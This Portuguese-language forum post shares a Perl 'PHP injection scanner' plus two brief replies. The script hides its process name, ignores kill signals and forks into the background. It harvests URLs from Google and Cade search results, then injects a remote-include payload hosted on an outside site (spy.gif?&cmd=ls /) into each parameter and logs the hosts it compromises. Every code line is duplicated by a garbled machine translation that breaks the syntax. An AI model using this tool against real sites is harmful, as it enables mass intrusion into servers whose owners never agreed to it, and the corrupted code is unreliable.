[Scann-Priv8] Feito em Perl

[.IndependentResearch.]

Scanner codado em Perl, feito por gringos.
totalmente Priv8

utilização lwp:: Simples;
use IO::Socket::INET; use IO:: Socket:: INET;



print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n \ n";
print "\t[ PHP injection scanner 5.0 priv8 version \n\n\n"; print "\ t [PHP injecção scanner 5,0 priv8 versão \ n \ n \ n";

if(!@ARGV[0]){ if (! @ ARGV [0]) (
print "\t[ use: perl php5.0.pl <procura> ]\n\n"; print "\ t [use: perl php5.0.pl <procura>] \ n \ n";
exit; saída;
} )
print "\t[ Camuflando pid ]\n"; print "\ t [Camuflando pid] \ n";
my $processo = "/usr/local/sbin/httpd - spy"; my $ processo = "/ usr / local / sbin / httpd - spy";
$SIG{"INT"} = "IGNORE"; $ SIG ( "int") = "IGNORE";
$SIG{"HUP"} = "IGNORE"; $ SIG ( "HUP") = "IGNORE";
$SIG{"TERM"} = "IGNORE"; $ SIG ( "TERM") = "IGNORE";
$SIG{"CHLD"} = "IGNORE"; $ SIG ( "CHLD") = "IGNORE";
$SIG{"PS"} = "IGNORE"; $ SIG ( "PS") = "IGNORE";

$0="$processo"."\0"x16;; $ 0 = "$ processo". "\ 0" x16;
my $pid=fork; my $ pid = fork;
exit if $pid; se sair $ pid;
die "Problema com o fork: $!" unless defined($pid); die "Problema com o fork: $!" salvo defined ($ pid);

print "\t[ Pid: $pid Processo: $processo ]\n"; print "\ t [Pid: $ pid Processo: $ processo] \ n";

$caxe = "."; $ Caxe = ".";
$caxe1 = "."; $ Caxe1 = ".";
$caxe .= rand(9999); $ Caxe .= rand (9999);
$caxe1 .= rand(9999); $ Caxe1 .= rand (9999);
$arq = "."; $ Arq = ".";
$arq = int rand(9999); $ Arq = int rand (9999);

open(sites,">$arq"); open (sites, "> $ arq");
print sites ""; imprimir sites "";
close(sites); close (sites);


$procura = @ARGV[0]; $ Procura = @ ARGV [0];
chomp $procura; chomp $ procura;
print "\t[ Procurando por $procura no Google ]\n"; print "\ t [Procurando por $ procura nenhuma Google] \ n";
for($n=0;$n<900;$n += 10){ for ($ n = 0; $ n <900; $ n + = 10) (
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next; Palmilha $ = IO:: Socket:: INET-> new (PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") ou na próxima;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n"; print $ palmilha "GET / search? q = $ procura & start = $ n HTTP/1.0 \ n \ n";
print $sock "Host: www.google.com.br"; print $ palmilha "Host: www.google.com.br";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; print $ palmilha "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv: 1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; print $ palmilha "Accept: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, video / x-MNG, image / png, image / jpeg, image / gif; q = 0.2, text / css ,*/*; q = 0.1 ";
print $sock "Accept-Language: pt-br, pt;q=0.50"; print $ palmilha "Accept-Language: pt-br, pt; q = 0,50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9"; print $ palmilha "Accept-Encoding: gzip, desinflar, comprimir; q = 0,9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; print $ palmilha "Accept-Charset: ISO-8859-1, utf-8; q = 0,66, *; q = 0.66";
print $sock "Keep-Alive: 300"; print $ palmilha "Keep-Alive: 300";
print $sock "Connection: keep-alive"; print $ palmilha "Connection: keep-alive";

@resu = <$sock>; @ Resu = <$ palmilha>;
close($sock); close ($ meia);
$ae = "@resu"; $ Ae = "@ resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){ while ($ ae = ~ m / <a href=.*?> .*? <\ / a> /) (
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/; $ Ae = ~ s / <a href=(.*?)> .*? <\ / A> / $ 1 /;
$uber=$1; Uber $ = $ 1;
if ($uber !~/translate/) if ($ Uber! ~ / translate /)
{ (
if ($uber !~ /cache/) if ($ Uber! ~ / cache /)
{ (
if ($uber !~ /"/) if ($ Uber! ~ / "/)
{ (
if ($uber !~ /google/) if ($ Uber! ~ / google /)
{ (
if ($uber !~ /216/) if ($ Uber! ~ / 216 /)
{ (
if ($uber =~/http/) if ($ Uber = ~ / http /)
{ (
if ($uber !~ /start=/) if ($ Uber! ~ / start = /)
{ (
open(arq,">>$arq"); open (arq ,">>$ arq ");
print arq "$uber\n"; print arq "$ Uber \ n";
close(arq); close (arq);
}}}}}}}}} }}}}}}}}}
print "\t[ Procurando por $procura no Cade   ]\n"; print "\ t [Procurando por $ procura não Cade] \ n";

for($cadenu=1;$cadenu <= 991; $cadenu +=10){ for ($ cadenu = 1; $ cadenu <= 991; $ cadenu + = 10) (

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next; @ Cade = get ( "http://cade.search.yahoo.com/search?p = $ procura & ei = UTF-8 & fl = 0 & all = 1 & pstart = 1 & b = $ cadenu") ou na próxima;
$ae = "@cade"; $ Ae = "@ cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){ while ($ ae = ~ m / <em class=yschurl> .*? <\ / em> /) (
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/; $ Ae = ~ s / <em class=yschurl> (.*?)< \ / em> / $ 1 /;
$uber=$1; Uber $ = $ 1;

$uber =~ s/ //g; Uber $ = ~ s / / / g;
$uber =~ s/<b>//g; Uber $ = ~ s / <b> / / g;
$uber =~ s/<\/b>//g; Uber $ = ~ s / <\ / b> / / g;

open(a,">>$arq"); abrir (uma ,">>$ arq ");
print a "$uber\n"; imprimir uma "Uber $ \ n";
close(a); close (um);
}} ))
print "\t[ Pronto sites pegos no google e cade ]\n"; print "\ t [Pronto sites pegos sem google e cade] \ n";
print "\t[ Excluindo os sites repetidos ]\n"; print "\ t [excluindo os sites repetidos] \ n";
$ark = $arq; $ Ark = $ arq;
@si = ""; @ Si = "";
open (arquivo,"<$ark"); open (arquivo, "<$ ark");
@si = <arquivo>; @ Si = <arquivo>;
close(arquivo); close (arquivo);
$novo =""; $ Novo = "";
foreach (@si){ foreach (@ si) (
if (!$si{$_}) if (! $ si {$_})
{ (
$novo .= $_; $ Novo .= $ _;
$si{$_} = 1; $ Si ($ _) = 1;
} )
} )
open (arquivo,">$ark"); open (arquivo, "> $ ark");
print arquivo $novo; print arquivo $ novo;
close(arquivo); close (arquivo);


$a =0; $ Um = 0;
$b =0; $ B = 0;
open(ae,"<$arq"); open (ae, "<$ arq");
while(<ae>) while (<ae>)
{$sites[$a] = $_; ($ Sites [$ a] = $ _;
chomp $sites[$a]; chomp $ sites [$ a];
$a++; $ Um + +;
$b++;} $ B + +;)
close(ae); close (ae);
print "\t[ Total de sites para scanear: $a ]\n"; print "\ t [Total de sites para scanear: $ a] \ n";
for ($a=0;$a<=$b;$a++){ for ($ um = 0; $ a <= $ b; $ um + +) (
open (file, ">$caxe"); open (FILE, "> $ caxe");
print file ""; imprimir o arquivo "";
close(file); close (FILE);
open (file, ">$caxe1"); open (FILE, "> $ caxe1");
print file ""; imprimir o arquivo "";
close(file); close (FILE);
$k=0; $ K = 0;
$e=0; $ E = 0;
$data=get($sites[$a]) or next; $ Data = get ($ sites [$ a]) ou na próxima;
while($data=~ m/<a href=".*?">.*?<\/a>/){ while ($ dados = ~ m / <a href=".*?"> .*? <\ / a> /) (
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/; $ Data = ~ s / <a href="(.*?)"> .*? <\ / A> / $ 1 /;
$ubersite=$1; Ubersite $ = $ 1;

if ($ubersite =~/"/) if ($ ubersite =~/"/)
{ (
$nu = index $ubersite, '"'; $ Nu = index $ ubersite, ' "';
$ubersite = substr($ubersite,0,$nu); $ Ubersite = substr ($ ubersite, 0, $ nu);
} )
if ($ubersite !~/http/) if ($ ubersite! ~ / http /)
{$ubersite = $sites[$a].'/'.$ubersite;} ($ Ubersite = $ sites [$ ].'/'.$ um ubersite;)
open(file,">>$caxe") || die("nao abriu caxe.txt $!"); open (arquivo ,">>$ caxe ") | | die (" não abriu caxe.txt $!");
print file "$ubersite\n"; imprimir o ficheiro "$ ubersite \ n";
close(file); close (FILE);
} )

$lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls /'; $ Lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls /';
$t =0; $ T = 0;
$y =0; $ Y = 0;
@ja; @ Ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt"; open (opa, "<$ caxe") ou morrer "nao deu pra abrir o ficheiro caxe.txt";
while (<opa>) while (<opa>)
{ (
$ja[$t] = $_; $ Ja [$ t] = $ _;
chomp $ja[$t]; chomp $ ja [$ t];
$t++; $ T + +;
$y++; $ Y + +;
} )
close(opa); close (opa);
$t=1; $ T = 1;
while ($t < $y) while ($ t <$ y)
{ (
if ($ja[$t] =~/=/) if ($ ja [$ t] =~/=/)
{ (
$num = rindex $ja[$t], '='; $ Num = rindex $ ja [$ t], '=';
$num += 1; $ Num + = 1;
$ja[$t] = substr($ja[$t],0,$num); $ Ja [$ t] = substr ($ ja [$ t], 0, $ num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; open (jaera ,">>$ caxe1 ") ou morrer" nao deu pra abrir ou criar caxe1.txt ";
print jaera "$ja[$t]$lista1\n"; imprimir jaera "$ ja [$ t] $ lista1 \ n";
close(jaera); close (jaera);
$num = index $ja[$t], '='; $ Num = index $ ja [$ t], '=';
$num += 1; $ Num + = 1;
$ja[$t] = substr($ja[$t],0,$num); $ Ja [$ t] = substr ($ ja [$ t], 0, $ num);
$num1 = rindex $ja[$t], '.'; $ Num1 = rindex $ ja [$ t], ' ».
$subproc = substr($ja[$t],$num1,$num); $ Subproc = substr ($ ja [$ t], $ num1, $ num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; open (jaera ,">>$ caxe1 ") ou morrer" nao deu pra abrir ou criar caxe1.txt ";
print jaera "$ja[$t]$lista1\n"; imprimir jaera "$ ja [$ t] $ lista1 \ n";
close(jaera); close (jaera);
} )
$t++; $ T + +;
} )
$ark = "$caxe1"; $ Ark = "$ caxe1";
@si = ""; @ Si = "";
open (arquivo,"<$ark"); open (arquivo, "<$ ark");
@si = <arquivo>; @ Si = <arquivo>;
close(arquivo); close (arquivo);
$novo =""; $ Novo = "";
foreach (@si){ foreach (@ si) (
if (!$si{$_}) if (! $ si {$_})
{ (
$novo .= $_; $ Novo .= $ _;
$si{$_} = 1; $ Si ($ _) = 1;
} )
} )
open (arquivo,">$ark"); open (arquivo, "> $ ark");
print arquivo $novo; print arquivo $ novo;
close(arquivo); close (arquivo);
$q=0; $ Q = 0;
$w=0; $ W = 0;
@hot; @ Hot;
open (ops,"<$caxe1"); open (ops, "<$ caxe1");
while(<ops>) while (<ops>)
{ (
$hot[$q] = $_; $ Hot [$ q] = $ _;
chomp $hot[$q]; chomp $ hot [$ q];
$q++; $ Q + +;
$w++; $ W + +;
} )
close(ops); close (ops);
print "\t[ Comecando o scan aguarde. Pode demorar horas. ]\n"; print "\ t [comecando o scan Aguarde. Pode demorar horas.] \ n";
for($q=0;$q<=$w;$q++) for ($ q = 0; $ q <= $ w; $ q + +)
{ (

if ($hot[$q] =~/http/) if ($ hot [$ q] = ~ / http /)
{ (
$tipo=get($hot[$q]) or next; $ Tipo = get ($ hot [$ q]) ou próximo;
if($tipo =~/root/) if ($ tipo = ~ / root /)
{ (
if ($tipo =~/etc/) if ($ tipo = ~ / etc /)
{ (
if ($tipo =~/boot/) if ($ tipo = ~ / boot /)
{ (
open(a,">>res.txt"); aberto (a, ">> res.txt");
print a "$hot[$q]\n"; imprimir um "$ hot [$ q] \ n";
close(a); close (um);
}}}}}} }}}}}}

print "\t[ Pronto scanner concluido ]\n"; print "\ t [Pronto scanner concluido] \ n";
print "\t[ O resultado foi salvo no seu ftp ]\n" print "\ t [O resultado foi evasivo] \ n"

[Alison_PC]

Vou salvar aqui pra dar uma analisada
vlw pela postagem arthur

[Nickguitar.dll]

Isso não seria perl ?